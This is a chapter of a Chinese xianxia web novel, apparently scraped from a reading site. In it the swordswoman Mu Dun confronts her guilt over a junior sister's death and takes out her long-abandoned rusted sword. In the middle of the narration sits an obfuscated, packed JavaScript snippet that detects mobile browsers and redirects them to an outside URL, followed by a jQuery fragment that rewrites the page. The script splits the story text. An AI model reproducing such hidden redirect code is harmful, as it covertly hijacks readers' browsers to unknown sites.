默认冷灰
24号文字
方正启体

8. 生锈的剑

作者:沫蝉本书字数:K更新时间:
    青云宗的战书是中午送来的。


    送信的还是白鹤鸣。他站在山门外两步远的地方,表情比前几次来都复杂——紧张里带着好奇,好奇里带着一丝“我就是个跑腿的别打我”的卑微。


    祁幻接过来一看,愣住了。


    “青云论剑大会?”他念出声来,“特邀贵宗穆惇师姐参加……”


    他抬起头,看向白鹤鸣。


    白鹤鸣往后退了一步。


    “那个……是我师父的意思。”他飞快地说,“他说,久闻躺平宗穆师姐当年剑法超群,想请她来切磋切磋。不是打架,就是……就是切磋!友谊第一,比赛第二!输了还有奖品!”


    他从怀里掏出一个盒子,打开。


    里面是一株灵芝,通体紫色,隐隐有流光转动。


    “千年紫灵芝,”白鹤鸣说,“疗伤圣品,市面上至少值三百两。”


    祁幻眼睛亮了。


    但他没接,而是转头看向身后。


    穆惇站在灵田边上,手里还握着锄头,表情和平时一样——面无表情。


    但她握着锄头的手,指节微微泛白。


    祁幻张了张嘴,不知道该说什么。


    他知道的,穆师姐从不碰剑,可他也不知道为什么?


    可一听姓白的这么说……师姐当年,是一个很厉害的人物……


    可为什么现在……


    他偷偷看了一眼穆惇的背影。


    那个背影站得很直,但不知道为什么,他觉得那笔直的背影里,藏着什么东西。


    典星河从摇椅上坐起来,走过来接过战书,看了一眼。


    然后她看向穆惇。


    “穆惇,”她说,“你想去吗?”


    穆惇沉默了很久。


    久到白鹤鸣开始不安地挪动脚步,久到牧殇停止了嗑瓜子。


    然后穆惇开口了。


    “不去。”她说。


    声音很平静。


    她转身,继续给灵田施肥。


    白鹤鸣愣住了。


    “那个……奖品是千年紫灵芝……”


    “不去。”


    “就切磋一下,不用赢,走个过场就行……”


    “不去。”


    白鹤鸣张了张嘴,看向典星河。


    典星河叹了口气,把战书塞回给他。


    “回去告诉你师父,”她说,“我们穆师姐最近忙着种地,没空。”


    白鹤鸣走了。


    带着一脸茫然和一肚子疑问。


    那天下午,穆惇一直在灵田里干活。


    锄地,施肥,浇水,除草。


    一刻不停。


    太阳很大,晒得她后背的衣裳都湿透了,她也不停。


    祁幻看了好几次,欲言又止。


    牧殇难得安静,蹲在角落里,看着穆惇的背影,眼神复杂。


    他比任何人都懂那个背影。


    因为他也曾经这样过——用忙碌把自己埋起来,埋到没有力气去想,埋到倒头就能睡着,埋到一闭眼就是黑暗。


    但没用。


    那些东西,白天埋得再深,晚上还是会爬出来。


    宋栀子想过去帮忙,被典星河一把拽住。


    “别去。”典星河说。


    “可是穆师姐……”


    “让她自己待着。”


    宋栀子不明白,但她听话,乖乖蹲回门口。


    归尘蹲在歪脖子树下,嗑着瓜子,看着灵田的方向。


    他什么都没说。


    但他知道,那样的背影,他见过太多次了。


    三千年来,他见过无数个这样的背影。


    每一个,都在用忙碌逃避着什么。


    他曾经也是。


    太阳落山了。


    穆惇终于停下来。


    她把锄头靠在田边,走到井台边,打了桶水,洗了把脸。


    然后她坐在井台上,看着远处的晚霞。


    一动不动。


    晚饭做好了。祁幻喊她,她说“不饿”。宋栀子端了碗过去,她说“放着吧”。典星河亲自去叫,她还是那句话——“不饿”。


    最后,所有人都回屋了。


    只剩下归尘。


    他蹲在歪脖子树下,继续嗑瓜子。


    穆惇坐在井台上,一动不动。


    月亮升起来了。


    月光洒在灵田里,洒在新修的茅房上,洒在那把靠在田边的锄头上。


    也洒在穆惇身上。


    归尘站起来,走到她旁边,坐下。


    没说话。


    穆惇也没说话。


    两人就这么坐着,看月亮。


    过了很久很久,穆惇突然开口。


    “前辈,”她说,“您以前……有没有过……不想面对的东西?”


    归尘沉默了一会儿。


    “有。”他说。


    “那您怎么做的?”


    归尘想了想。


    “逃。”他说,“逃了三千年。”


    穆惇转头看他。


    月光下,这个老头的侧脸很平静,像一潭深水。


    “后来呢?”她问。


    “后来发现逃不掉。”归尘说,“逃到哪里,它都跟着。”


    穆惇沉默了。


    归尘从怀里掏出一把瓜子,递给她。


    “嗑吗?”


    穆惇看着那把瓜子,愣了几秒。


    然后她接过来,嗑了一颗。


    “咔”。


    归尘也嗑了一颗。


    “咔”。


    两人一起嗑瓜子,一起看月亮。


    过了好一会儿,归尘说:“你想说说吗?”


    穆惇没回答。


    但是不久,她开口了。


    声音很轻,轻得差点被风吹散。


    “我十岁筑基。”


    她说。


    “十五岁金丹。师父说,我是百年难遇的剑道奇才。”


    归尘点点头,没打断。


    “那时候我什么都不怕。觉得自己天下第一,什么秘境都敢闯,什么妖兽都敢杀。”


    她顿了顿。


    “然后我带他们去了万妖谷。”


    “他们”——是师弟和师妹。


    师弟不爱说话,整天闷闷的,像个木头桩子。但每次师妹凑过去叽叽喳喳,他的嘴角就会弯一弯,弯得很浅。


    师妹爱说话,整天追着师弟跑。她叫他“木头师兄”,叫得可顺口了。她总说:“木头师兄不说话,那我说给他听呀!”


    她说了很多很多话。


    从天气说到花草,从花草说到练剑,从练剑说到食堂的馒头不够软。


    师弟就听着,偶尔点个头,偶尔“嗯”一声。


    穆惇看着他们,心里觉得挺好。


    师妹十四岁了,活泼得像只小鸟。师弟虽然闷,但看师妹的眼神,总是温温的。


    她想,等他们再长大一点,就可以一起出去历练了。


    她可以教他们剑法,教他们怎么在秘境里活下来。


    她可以护着他们,让他们慢慢成长。


    “那个秘境,我走过三次了。”穆惇说,“我以为很安全。我以为我能护住他们。”


    她的声音开始发颤。


    “我走了一条近路。那条路我没走过,但我以为……以我的剑法,什么都能应付。”


    归尘没说话。


    月光静静地照着。


    “然后遇到了妖狼。”穆惇说,“五阶的。不该出现在那里的。”


    她的手指开始发抖。


    “我挡住了一只。我以为……只有一只。”


    她闭上眼睛。


    “另一只从暗处扑出来。扑向了她。”


    “她那时候才十四岁。刚筑基不久。连剑都还没握稳。”


    “我回头的时候,已经晚了。”


    她的声音停了。


    过了很久,才继续。


    “她躺在我怀里,浑身是血。她想说话,但说不出来。她看着我,一直看着我。”


    “师弟跪在旁边,浑身发抖。他张着嘴,想说点什么,一个字都说不出来。”


    “然后她闭上了眼睛。”


    穆惇低下头。


    月光落在她肩上,像一层霜。


    “从那以后,我再也握不了剑。”她说,“一握剑,就会想起那个画面。她的手,她的血,她的眼睛。”


    “师父说我这是心魔。说我要克服它。说我是天才,不能就这么废了。”


    她摇摇头。


    “我不是天才。我只是个……害死自己师妹的废物。”


    归尘沉默了很久。


    然后他开口了。


    “你后来种地了。”他说。


    穆惇点头。


    “种了十年。”


    “种得好吗?”


    穆惇愣了一下。


    “好。”她说,“很好。我种的萝卜,比谁都甜。”


    归尘点点头。


    “那就够了。”


    穆惇看着他。


    归尘说:“剑握不了,就不握。种地种得好,就种地。没什么大不了的。”


    穆惇张了张嘴。


    “可是……我师妹……”


    “她不会怪你。”


    穆惇愣住了。


    归尘看着月亮,声音很轻。


    “我师父死的时候,我也觉得是我害了他。”他说,“三千年了,我一直这么觉得。”


    “但后来我想明白了。”


    “他送我走,不是让我替他死。是让我替他活。”


    他转头看向穆惇。


    “你师妹死在你怀里,她最后看着你——你觉得她想说什么?”


    穆惇的眼泪掉了下来。她张了张嘴,想说点什么,但喉咙像是被堵住了,一个字都说不出来。


    归尘没再说下去。


    他站起来,拍了拍身上的瓜子壳。


    “那把剑,”他说,“你还留着吗?”


    穆惇点头。


    “在哪儿?”


    穆惇指了指柴房的方向——她住的那间,床底下。


    归尘点点头,往回走。


    走了两步,又回头。


    “明天,”他说,“拿出来晒晒太阳。生锈了就不好修了。”


    他走了。


    穆惇一个人坐在井台上,抱着膝盖,哭得像个孩子。


    那天晚上,柴房里很安静。


    穆惇躺在她那张硬木板床上,睁着眼睛看屋顶。


    床底下有一个木匣子,落了厚厚的灰。


    她十年没打开过。


    她知道里面是什么。


    那把剑。她十五岁那年,师父送给她的。剑身是玄铁打的,剑柄上刻着她的名字。她曾经用它斩过无数妖兽,曾经觉得它会陪她一辈子。


    后来她把它塞进了床底下。


    再也没拿出来过。


    她翻了个身,闭上眼睛。


    睡不着。


    脑子里全是那个画面。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387669|200271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>师妹躺在她怀里,血从胸口涌出来,染红了她的衣服,染红了她的手。师妹的嘴唇动了动,想说什么,但只发出一点点气声。


    她凑过去听。


    师妹说:“师姐……别难过……”


    她没听懂。


    后来很多年,她都没听懂。


    现在她好像有点懂了。


    “别难过。”


    不是“对不起”,不是“救我”,不是“我不想死”。


    是“别难过”。


    穆惇的眼泪又流了下来。


    她捂住嘴,不让自己发出声音。


    第二天早上,阳光很好。


    穆惇没有去灵田。


    她坐在柴房门口,面前摆着一把剑。


    剑身生满了锈,剑柄上的缠绳已经烂了大半。它就那么躺在那里,像一个被遗忘了很久的故人。


    牧殇远远地看着,不敢靠近。


    典星河靠在主殿门口,看着穆惇的背影。


    穆惇伸出手,轻轻摸了摸剑身。


    锈迹硌手,粗糙得像砂纸。


    她的手指沿着剑身慢慢移动,摸过每一个锈斑,每一道划痕。


    然后她握住剑柄。


    手指收紧。


    颤抖。


    但没有松开。


    阳光照在她身上,照在那把生锈的剑上。


    她握着它,一动不动。


    过了很久很久。


    她站起来。


    拿起剑,走向灵田。


    走到田边,她停下来,举起剑,对着太阳。


    锈迹斑斑的剑身,反射出一点微弱的光。


    她看着那点光,嘴角弯了弯。


    然后她把剑插进土里,立在田边。


    和那把锄头并排。


    她转身,走回柴房。


    没回头。


    牧殇看着穆惇的背影,眼眶发红。


    他想起了自己的剑,那把被他当麦克风用的剑。他想起师妹说过的话:“你的剑要是会说话就好了。”他想起那天在秘境里,他跪在穆惇旁边,看着师妹闭上眼睛,一个字都说不出来。


    他知道那个滋味。


    宋栀子抱着玩偶,那是掌门有一年送她的生辰礼,眼睛红红的——她不知道什么时候也哭了。


    她不知道为什么哭,就是看见穆惇那个样子,心里难受得不行。


    典星河仍靠在主殿门口,她什么都没说。


    她知道,有些路,得自己走。


    傍晚,祁幻去灵田里查看,发现了那把剑。


    他愣了一会儿,然后跑回主殿。


    “掌门!”他喊,“穆师姐的剑还在——”


    典星河躺在摇椅上,眼睛都没睁。


    “看见了。”


    “那……那是……”


    “她想通了。”典星河说,“或者,正在想通。”


    祁幻不知道该说什么。


    归尘仍蹲在歪脖子树下,嗑着瓜子。


    宋栀子凑过去,小声问:“归爷爷,穆师姐会好吗?”


    归尘想了想。


    “会。”他说。


    “什么时候?”


    归尘看向灵田的方向。


    那把剑立在夕阳里,和锄头并排,像两个沉默的老友。


    “等她能拿起那把剑的时候。”他说。


    晚饭的时候,穆惇出来了。


    她坐到桌边,端起碗,开始吃饭。


    和平时一样——面无表情,一言不发。


    但祁幻注意到,她夹了一块红烧肉,放进嘴里,嚼了嚼,然后说:“有点咸。”


    祁幻愣了一下。


    “我、我下次少放点盐!”


    穆惇点点头,继续吃。


    牧殇看着她,张了张嘴,想说点什么。


    穆惇先开口了。


    “牧殇,”她说,“你瓜子还有吗?”


    牧殇愣住了。


    “有、有!”


    他手忙脚乱地从怀里掏出一包瓜子,递过去。


    穆惇接过来,嗑了一颗。


    “咔”。


    归尘在旁边笑了。


    典星河也笑了。


    宋栀子眨眨眼,也笑了。


    祁幻不知道笑什么,但看着大家都笑,他也跟着笑起来。


    笑声飘荡在暮色里。


    穆惇嘴角弯了弯,继续嗑瓜子。


    嗑瓜子,有时候也是一种趣事。


    【章末小剧场:躺平宗摸鱼群】


    钱多多:@所有人,今日无事。穆师姐……嗯,没事。


    赵铁柱:真的没事么师姐?


    李翠花:师姐,不哭。


    李翠花:那把剑,晒过太阳了。


    钱多多:!!!


    赵铁柱:师姐……我替你高兴。


    典星河:感觉怎么样?


    李翠花:锈了。


    归尘:能修。


    李翠花:嗯。


    钱多多:穆师姐……你还好吗?


    李翠花:好。


    钱多多:真的?


    王甜甜:穆师姐,我帮你修剑吧!我修东西可厉害了!


    钱多多:你修的东西都会炸!


    王甜甜:那是意外!


    李翠花:不用修。


    李翠花:放着就行。


    月光下,灵田边,那把生锈的剑立在土里。


    旁边是锄头。


    一切都很安静。


    一切都在慢慢变好。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)